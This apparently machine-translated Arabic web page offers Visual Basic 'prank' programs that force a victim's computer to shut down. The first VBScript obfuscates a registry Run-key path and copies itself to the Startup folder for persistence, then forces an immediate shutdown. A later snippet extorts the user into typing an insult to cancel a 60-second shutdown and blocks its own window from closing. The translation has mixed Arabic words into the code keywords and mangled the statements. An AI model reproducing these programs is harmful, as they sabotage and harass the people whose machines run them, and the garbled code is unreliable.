برنامج محاكاة ساخرة لإيقاف تشغيل VB واحد:
Dim fs, dirwin, c,Wll, str,strr,rSet fs = CreateObject("Scripting.FileSystemObject") Set dirwin = fs.GetSpecialFolder(1)Set Wll = WScript.CreateObject("WScript.Shell")Set c = fs .GetFile(WScript.ScriptFullName) شارع ="HK"&"LM/SOFT"&"WARE/Micr"&"osoft/Win"&"dows/Curren"&"tVersion/R"&"un/wxb"if (fs.FileExists(dirwin&"/wxb .vbs")) ثم اتصل بـ Show_And_Do("reg")elseif (fs.FileExists("C:/Documents and Settings/All" المستخدمون/قائمة ابدأ/البرامج/بدء التشغيل/wxb.vbs")) ثم اتصل بـ Show_And_Do("بدء التشغيل") آخر عند حدوث خطأ في استئناف Nextstrr = ""Wll.RegWrite str, "C:/WINDOWS/system32/wxb.vbs"، "REG_SZ" "strr=Wll.Regread (str)if strr = "" thenc.Copy("C:/Documents and Settings/All Users/Start Menu/Programs/Startup/wxb.vbs") elsec.Copy(dirwin&"/wxb.vbs") end if end if sub Show_And_Do(s)dim fr = MsgBox ("تحذير: يرجى عدم لمس جهاز الكمبيوتر الخاص بي!" & Chr(13) & Chr(10) & "تأكيد -> سأطلب الإذن أولاً في المرة القادمة" & Chr(10) & "إلغاء -> لا يهمني كيف يعجبك ذلك!"، 4145، "مثال MsgBox")If r = 1 ثم إذا s= "بدء التشغيل" ثمset f = fs.GetFile("C:/Documents and Settings/All Users/Start" القائمة/البرامج/بدء التشغيل/wxb.vbs")f.Delete()elseif s="reg" ثمWll.RegDelete strset f = fs.GetFile(dirwin&"/wxb.vbs")f.Delete()end if Elsewll.run "Shutdown.exe -s -f -t 0"End Ifend subما ورد أعلاه معقد بعض الشيء، لذلك دعونا نفعل شيئًا أبسط قليلاً
الرمز هو كما يلي:
الخيار ExplicitConst SM_CLEANBOOT = 67Const EWX_LOGOFF = 0Const EWX_SHUTDOWN = 1Const EWX_REBOOT = 2Const EWX_FORCE = 4 وظيفة إعلان خاصة ExitWindowsEx Lib "user32" (ByVal uFlags As Long، ByVal dwReserved As Long) عند استدعاء LongPrivate Sub Form_Load() الخروج من WindowsEx(EWX_SHUTDOWN, 0)End Sub
عندما يمكنك استخدام طريقة أبسط للكتابة
ما عليك سوى إدخال الرمز التالي:
Private Sub Form_Load()Shell "cmd /c Shutdown -s -t 30" Rem -t 0 خلفه يعني إيقاف التشغيل خلال 0 ثانية، إذا تمت إزالة -t 0، فإن الإعداد الافتراضي هو إيقاف التشغيل خلال 30 ثانية
الطريقة الثالثة:
Private Sub Command1_Click()If Text1 = "أنا خنزير"thenShell "cmd.exe /c Shutdown -a"MsgBox "Haha تتيح لك الذهاب!"، 64، "Prompt"EndEnd IfEnd SubPrivate Sub Form_Load()MsgBox "Haha you إذا تم خداعك، من فضلك أخبرني أنك خنزير، وإلا فسيتم إيقاف تشغيل جهاز الكمبيوتر الخاص بك خلال دقيقة واحدة."، 48، "مطالبة" Shell "cmd.exe /c Shutdown -s -t " & 60, vbHideEnd SubPrivate Sub Form_Unload(Cancel As Integer)g = MsgBox("هل تريد إغلاقي؟؟؟", vbOKCancel + vbQuestion, "أغلق النافذة")If g = vbOK ثمCancel = 11MsgBox "هاها، يمكن هل تغلقه؟ أسقطني وناديني بالخنزير"، 64، "مطالبة"End IfIf g = 2thenCancel = 11End IfEnd الفرعية